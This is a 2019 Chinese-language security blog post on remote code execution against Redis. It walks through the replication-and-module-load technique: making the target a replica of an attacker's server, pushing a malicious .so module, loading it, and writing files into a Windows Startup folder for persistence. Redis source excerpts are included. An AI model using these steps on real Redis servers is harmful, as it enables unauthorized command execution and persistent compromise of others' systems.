Redis Rce

Nice的Rce: 议题PPT

总结起来就是, 利用了主从特性传输了数据,然后通过模块加载,增加了执行命令的函数,从而rce。

这里有两点特别好用
1、可以无脏数据保存文件
2、模块加载,所以兼容性高

回顾之前的redis利用,通常分为写webshell、root权限写crontab或者ssh文件,但是以上就完美的解决以下问题:

1、后面高版本的redis启动默认是redis权限,并非root权限
2、写crontab反弹shell也仅仅局限于centos中。

环境:

docker pull redis:4.0
docker run --name redis-6379 -p 6379:6379 -d redis:4.0
info replication

也可以看到在sync的时候,会被数据存到rdb_filename中,也就是config set dbfilename value的值。

已经朋友给出了Exp
整个流程就是

  • 在目标上执行, 将自己vps设置为master: SLAVEOF vps port
  • 在目标上执行,设置一下dbfilename
  • 通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>
  • 在目标上执行,加载模块: MODULE LOAD /tmp/exp.so

坑点

1、原理上应该是不需要执行SAVE命令,测试过程中发现不执行貌似就触发不了写文件。

2、注意一下模块的兼容性,类似mysql udf一样,需要特定版本。
需要自己特定去编译so文件: https://github.com/RicterZ/RedisModules-ExecuteCommand

3、redis官网是没有windows版本的,都是大家改出来的,比如
windows redis下载:
https://github.com/dmajkic/redis/downloads
https://github.com/microsoftarchive/redis/releases

目前看到的redis版本大部分是没有模块加载的功能,但是还是可以利用主从模式传输文件,比如写一个干净文件到启动项,或者进行dll劫持。当然这里需要先设置一下dir。

CONFIG SET dir 'C:\\Users\\lemon\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'

不能从config set dbfilename xxx去跨目录,因为官方设定它就只是一个文件名。

} else if (!strcasecmp(argv[0],"dbfilename") && argc == 2) {
            if (!pathIsBaseName(argv[1])) {
                err = "dbfilename can't be a path, just a filename";
                goto loaderr;
            }
            zfree(server.rdb_filename);
            server.rdb_filename = zstrdup(argv[1]);

其中pathIsBaseName是不允许你去跨目录的。

int pathIsBaseName(char *path) {
    return strchr(path,'/') == NULL && strchr(path,'\\') == NULL;
}

4、5.0之后(暂未测试,但是目前的exp来看是不存在此问题,先做笔记)
不能使用config get、set去设置dbfilename,但是同步后的名字是有规律的: temp-<time>.<pid>.rdb

redis eval笔记

redis还可以通过eval去执行lua脚本,但是会存在一定限制。

/redis-unstable/src/scripting.c

void scriptingEnableGlobalsProtection(lua_State *lua) {
    char *s[32];
    sds code = sdsempty();
    int j = 0;

    /* strict.lua from: http://metalua.luaforge.net/src/lib/strict.lua.html.
     * Modified to be adapted to Redis. */
    s[j++]="local dbg=debug\n";
    s[j++]="local mt = {}\n";
    s[j++]="setmetatable(_G, mt)\n";
    s[j++]="mt.__newindex = function (t, n, v)\n";
    s[j++]="  if dbg.getinfo(2) then\n";
    s[j++]="    local w = dbg.getinfo(2, \"S\").what\n";
    s[j++]="    if w ~= \"main\" and w ~= \"C\" then\n";
    s[j++]="      error(\"Script attempted to create global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="    end\n";
    s[j++]="  end\n";
    s[j++]="  rawset(t, n, v)\n";
    s[j++]="end\n";
    s[j++]="mt.__index = function (t, n)\n";
    s[j++]="  if dbg.getinfo(2) and dbg.getinfo(2, \"S\").what ~= \"C\" then\n";
    s[j++]="    error(\"Script attempted to access nonexistent global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="  end\n";
    s[j++]="  return rawget(t, n)\n";
    s[j++]="end\n";
    s[j++]="debug = nil\n";
    s[j++]=NULL;

    for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));
    luaL_loadbuffer(lua,code,sdslen(code),"@enable_strict_lua");
    lua_pcall(lua,0,0,0);
    sdsfree(code);
}

参考文章

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

https://github.com/microsoftarchive/redis/releases

posted @ 2019-07-10 15:55 l3m0n 阅读(...) 评论(...)  编辑 收藏